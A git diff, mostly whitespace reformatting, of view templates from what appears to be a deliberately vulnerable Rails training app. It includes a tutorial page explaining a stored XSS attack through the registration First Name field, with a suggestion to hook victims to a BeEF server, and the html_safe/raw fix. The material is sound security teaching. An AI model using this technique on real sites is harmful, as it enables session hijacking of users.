    -

    - Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil. -

    -						# Psuedo-code to help conceptualize
    -						def raw(dirty_string)
    -						  dirty_string.to_s.html_safe
    -						end
    -					
    - -

    - +

    + Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil. +

    +            # Psuedo-code to help conceptualize
    +            def raw(dirty_string)
    +              dirty_string.to_s.html_safe
    +            end
    +          
    + +

    +
    @@ -63,16 +63,16 @@

    Stored Cross-Site Scripting ATTACK:

    -

    When registering, enter your JavaScript tag such as <%= %{} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %> and have some fun as well. -

    -

    Stored Cross-Site Scripting SOLUTION:

    -

    - Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags(). -

    +

    When registering, enter your JavaScript tag such as <%= %{} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %> and have some fun as well. +

    +

    Stored Cross-Site Scripting SOLUTION:

    +

    + Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags(). +

    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorials.html.erb b/app/views/layouts/tutorials.html.erb index b1b2d26..65027e9 100755 --- a/app/views/layouts/tutorials.html.erb +++ b/app/views/layouts/tutorials.html.erb @@ -8,20 +8,19 @@ - + -<%= render "layouts/tutorial/header" %> -<%= render "layouts/tutorial/sidebar" %> +<%= render "layouts/tutorial/header" %> +<%= render "layouts/tutorial/sidebar" %>
    -
    - <%= yield %> -
    -
    - <%= render "layouts/shared/footer" %> +
    + <%= yield %> +
    + + <%= render "layouts/shared/footer" %> diff --git a/app/views/messages/index.html.erb b/app/views/messages/index.html.erb index d3f79d4..1917b7f 100644 --- a/app/views/messages/index.html.erb +++ b/app/views/messages/index.html.erb @@ -1,8 +1,8 @@
    - +
    - +
    @@ -39,12 +39,12 @@
    - +
    - +
    - +
    @@ -53,15 +53,15 @@
    - -
    - +
    -
    + \ No newline at end of file diff --git a/app/views/pay/index.html.erb b/app/views/pay/index.html.erb index 3895d4b..abd090e 100644 --- a/app/views/pay/index.html.erb +++ b/app/views/pay/index.html.erb @@ -1,20 +1,20 @@
    -
    -
    -
    - -
    -
    -
    -
    -
    <%= javascript_include_tag "jquery.dataTables.js" %> @@ -155,60 +155,60 @@ a user to delete that direct deposit entry */ function buildDeleteLink(dd_id){ - var link = '
    ' + - ''+ - '' - return link + var link = '' + + ''+ + '' + return link }; /* - parseDirectDepositInfo accepts the response object and parses the JSON response, then - populates the direct deposit data table. + parseDirectDepositInfo accepts the response object and parses the JSON response, then + populates the direct deposit data table. */ function parseDirectDepostInfo(response){ - var msg = jQuery.parseJSON(JSON.stringify(response)); - $.each(msg.user, function(index, val){ - $('#data_table').dataTable().fnAddData( [ - val.bank_account_num, - val.bank_routing_num, - val.percent_of_deposit, - buildDeleteLink(val.id) - ] ); - }); - + var msg = jQuery.parseJSON(JSON.stringify(response)); + $.each(msg.user, function(index, val){ + $('#data_table').dataTable().fnAddData( [ + val.bank_account_num, + val.bank_routing_num, + val.percent_of_deposit, + buildDeleteLink(val.id) + ] ); + }); + }; /* - populateTable will first clear the existing dd table, then call the appropriate - endpoint to retrieve direct deposit entries and finally, provide parseDirectDepositInfo - with the response from the endpoint in order to populate the data table. + populateTable will first clear the existing dd table, then call the appropriate + endpoint to retrieve direct deposit entries and finally, provide parseDirectDepositInfo + with the response from the endpoint in order to populate the data table. */ function populateTable() { - $('#data_table').dataTable().fnClearTable(); - $.ajax({ + $('#data_table').dataTable().fnClearTable(); + $.ajax({ url: <%= sanitize(user_pay_path(:format => "json", :user_id => current_user.user_id, :id => current_user.user_id).inspect) %>, - type: "GET", - success: function(response) { - parseDirectDepostInfo(response); - }, - error: function(event) { - $('#failure').show(500).delay(1500).fadeOut(); - } - }); + type: "GET", + success: function(response) { + parseDirectDepostInfo(response); + }, + error: function(event) { + $('#failure').show(500).delay(1500).fadeOut(); + } + }); }; /* - createDataTable initializes the dd table as a datatable + createDataTable initializes the dd table as a datatable */ function createDataTable(){ - $('#data_table').dataTable({ + $('#data_table').dataTable({ "sPaginationType": "full_numbers" - }); + }); }; /* - This function doesn't really work right now but is supposed to offer the user a - "delete confirmation" message + This function doesn't really work right now but is supposed to offer the user a + "delete confirmation" message */ $('.delete-row').click(function () { var conf = confirm('Continue delete?'); @@ -219,79 +219,79 @@ $('.delete-row').click(function () { }); /* - decryptShow parses the json response from the application and then renders - a decrypted version of the user's account number + decryptShow parses the json response from the application and then renders + a decrypted version of the user's account number */ function decryptShow(response){ - var msg = jQuery.parseJSON(JSON.stringify(response)); - alert("Decrypted Account Number: " + msg.account_num); + var msg = jQuery.parseJSON(JSON.stringify(response)); + alert("Decrypted Account Number: " + msg.account_num); }; /* - This function overrides the decrypt buttons (submit button's) native behavior, - allowing an ajax call to be made with the decrypt_form's inputs which is decrypted - server side with a JSON response containing the decrypted value. The decrypted value is - then passed to decryptShow(); + This function overrides the decrypt buttons (submit button's) native behavior, + allowing an ajax call to be made with the decrypt_form's inputs which is decrypted + server side with a JSON response containing the decrypted value. The decrypted value is + then passed to decryptShow(); */ $("#decrypt_btn").click(function(event){ - var valuesToSubmit = $("#decrypt_form").serialize(); - event.preventDefault(); - $.ajax({ + var valuesToSubmit = $("#decrypt_form").serialize(); + event.preventDefault(); + $.ajax({ url: <%= sanitize(decrypted_bank_acct_num_user_pay_index_path(:format => "json", :user_id => current_user.user_id).inspect) %>, - data: valuesToSubmit, - type: "POST", - success: function(response) { - $('#success').show(500).delay(1500).fadeOut(); - decryptShow(response); - }, - error: function(event) { - $('#failure').show(500).delay(1500).fadeOut(); - } - }); + data: valuesToSubmit, + type: "POST", + success: function(response) { + $('#success').show(500).delay(1500).fadeOut(); + decryptShow(response); + }, + error: function(event) { + $('#failure').show(500).delay(1500).fadeOut(); + } + }); }); /* - This function overrides the dd_form_btn's native behavior in order to submit an ajax request - that updates the user's direct deposit information. Upon success, the populateTable() function - is called in order to update the dataTable on the page to reflect the latest entry. + This function overrides the dd_form_btn's native behavior in order to submit an ajax request + that updates the user's direct deposit information. Upon success, the populateTable() function + is called in order to update the dataTable on the page to reflect the latest entry. */ $("#dd_form_btn").click(function(event) { var valuesToSubmit = $("#bank_info_form").serialize(); event.preventDefault(); $.ajax({ url: <%= sanitize(update_dd_info_user_pay_index_path(:format => "json").inspect) %>, - data: valuesToSubmit, - type: "POST", - success: function(response) { - $('#success').show(500).delay(1500).fadeOut(); - populateTable(); - }, - error: function(event) { - $('#failure').show(500).delay(1500).fadeOut(); - } - }); + data: valuesToSubmit, + type: "POST", + success: function(response) { + $('#success').show(500).delay(1500).fadeOut(); + populateTable(); + }, + error: function(event) { + $('#failure').show(500).delay(1500).fadeOut(); + } + }); }); $("#encrypted_acct_question").click(function(event) { - event.preventDefault(); - alert("For your safety your account number is stored encrypted as well as presented to you \nin an encrypted form.\n\n" + - "For your convenience, you can decrypt your bank account number at any time using our\n" + - "conveniently located decryption function." - ) + event.preventDefault(); + alert("For your safety your account number is stored encrypted as well as presented to you \nin an encrypted form.\n\n" + + "For your convenience, you can decrypt your bank account number at any time using our\n" + + "conveniently located decryption function." + ) }); /* - Make the sidebar element "Pay" active. + Make the sidebar element "Pay" active. */ function makeActive(){ - $('li[id="pay"]').addClass('active'); + $('li[id="pay"]').addClass('active'); }; /* - 1) makeActive - Adds the active class to the sidebar element - 2) createDataTable - Initializes the dataTable as such - 3) populateTable - populates the newly initialized dataTable -*/ + 1) makeActive - Adds the active class to the sidebar element + 2) createDataTable - Initializes the dataTable as such + 3) populateTable - populates the newly initialized dataTable +*/ $(document).ready( makeActive, createDataTable(), diff --git a/app/views/performance/index.html.erb b/app/views/performance/index.html.erb index 3b6a903..780b891 100644 --- a/app/views/performance/index.html.erb +++ b/app/views/performance/index.html.erb @@ -1,6 +1,6 @@
    -
    -
    +
    +
    @@ -13,45 +13,44 @@
    -
    -
    -
    -
    -
    - Performance History -
    -
    -
    - - - - - - - - - - - <% @perf.each do |p| %> - - - - - - - <% end %> - -
    ReviewerDateScoreComments
    <%= p.reviewer_name %><%= p.date_submitted %><%= p.score %><%= p.comments %>
    -
    -
    -
    -
    -
    +
    +
    +
    +
    +
    + Performance History +
    +
    +
    + + + + + + + + + + + <% @perf.each do |p| %> + + + + + + + <% end %> + +
    ReviewerDateScoreComments
    <%= p.reviewer_name %><%= p.date_submitted %><%= p.score %><%= p.comments %>
    +
    +
    +
    +
    +
    \ No newline at end of file diff --git a/app/views/sessions/new.html.erb b/app/views/sessions/new.html.erb index eb80c99..d74426b 100755 --- a/app/views/sessions/new.html.erb +++ b/app/views/sessions/new.html.erb @@ -36,16 +36,14 @@
    - - <%= link_to "Forgot Password", forgot_password_path, {:class=>"pull-left"}%>
    - <%= submit_tag "Login", {:class => "btn btn-info btn-large pull-right"} %> - - <%= check_box_tag :remember_me, 1, params[:remember_me], {:id => "form-terms", :class => "checkbox", :type => "checkbox"} %> - Remember - - - - + + <%= link_to "Forgot Password", forgot_password_path, {:class=>"pull-left"}%>
    + <%= submit_tag "Login", {:class => "btn btn-info btn-large pull-right"} %> + + <%= check_box_tag :remember_me, 1, params[:remember_me], {:id => "form-terms", :class => "checkbox", :type => "checkbox"} %> + Remember + +
    <% end %> diff --git a/app/views/tutorials/access_control.html.erb b/app/views/tutorials/access_control.html.erb index 6796302..1dd6976 100644 --- a/app/views/tutorials/access_control.html.erb +++ b/app/views/tutorials/access_control.html.erb @@ -1,16 +1,16 @@
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/access_control/access_control_first" %> -
    -
    -
    +
    +
    +
    + <%= render :partial => "layouts/tutorial/access_control/access_control_first" %> +
    +
    +
    - - - - diff --git a/app/views/users/new.html.erb b/app/views/users/new.html.erb index cf03ae2..5ed6e7e 100755 --- a/app/views/users/new.html.erb +++ b/app/views/users/new.html.erb @@ -1,42 +1,40 @@
    -
    -
    diff --git a/app/views/work_info/index.html.erb b/app/views/work_info/index.html.erb index 96fb928..9c37e28 100644 --- a/app/views/work_info/index.html.erb +++ b/app/views/work_info/index.html.erb @@ -1,62 +1,60 @@
    -
    -
    -
    -
    -
    -
    - Employee Information -
    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Full NameIncomeBonusesYears w/ MetaCorpSSNDoB
    <%= "#{@user.first_name} #{@user.last_name}" %><%= @user.work_info.income %><%= @user.work_info.bonuses %><%= @user.work_info.years_worked %><%= @user.work_info.SSN %><%= @user.work_info.DoB %>
    -
    -
    -
    -
    -
    -
    +
    +
    +
    +
    +
    +
    + Employee Information +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Full NameIncomeBonusesYears w/ MetaCorpSSNDoB
    <%= "#{@user.first_name} #{@user.last_name}" %><%= @user.work_info.income %><%= @user.work_info.bonuses %><%= @user.work_info.years_worked %><%= @user.work_info.SSN %><%= @user.work_info.DoB %>
    +
    +
    +
    +
    +
    +